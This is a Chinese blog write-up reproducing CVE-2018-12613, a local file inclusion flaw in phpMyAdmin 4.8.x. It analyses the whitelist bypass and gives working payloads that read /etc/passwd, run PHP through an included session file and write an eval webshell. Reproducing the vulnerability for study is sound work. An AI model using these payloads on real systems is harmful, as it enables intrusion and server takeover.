CVE-2018-12613复现

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2018-12613复现相关的知识,希望对你有一定的参考价值。

CVE-2018-12613复现

漏洞描述:

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

漏洞影响范围:

phpMyAdmin 4.8.0和4.8.1

漏洞复现环境:

phpstudy+phpmyadmin4.8.1

漏洞分析:

漏洞点在index.php第55~63行

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) 
    include $_REQUEST['target'];
    exit;

第61行出现了 include $_REQUEST[‘target’];

可以看出这里可能存在LFI漏洞

本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发方便,常常会用到包含。比如把一系列功能函数都写进function.php中,之后当某个文件需要使用时直接调用定义的函数。 本地包含漏洞是php中一种典型的高危漏洞,由于程序员未对用户可控变量的输入进行检查,导致用户可以控制被包含的文件,成功利用时可以使web server将特定文件当成php执行,从而导致用户获取颐一定的服务器权限。

第57行限制 target 参数不能以index开头

第58行限制 target 参数不能出现在 $target_blacklist 内

$target_blacklist 的定义:

$target_blacklist = array (
    'import.php', 'export.php'
);

只要target参数不是import.phpexport.php即可

最后一个限制方法在phpMyAdmin/libraries/classes/core.php

Core类的checkPageValidity方法:

    public static function checkPageValidity(&$page, array $whitelist = [])
    
        if (empty($whitelist)) 
            $whitelist = self::$goto_whitelist;
        
        if (! isset($page) || !is_string($page)) 
            return false;
        

        if (in_array($page, $whitelist)) 
            return true;
        

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) 
            return true;
        

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) 
            return true;
        

        return false;
    

审计代码发现在第 465 行的urldecode(),我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。

构造payload:

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

passwd被读取,说明文件包含漏洞存在

执行一下SELECT '<?=phpinfo()?>'; 然后包含session文件

/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_f4c1cdbb5a0ab1a7d0ebb760bdeddc6a

查看到了phpinfo

同理,我们也可以写入webshell

select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[pass]);?>')?>"

然后链接蚁剑

拿到shell

以上是关于CVE-2018-12613复现的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2018-12613复现

CVE-2018-12613复现

phpmyadmin文件包含漏洞复现(CVE-2018-12613)

[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现

[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现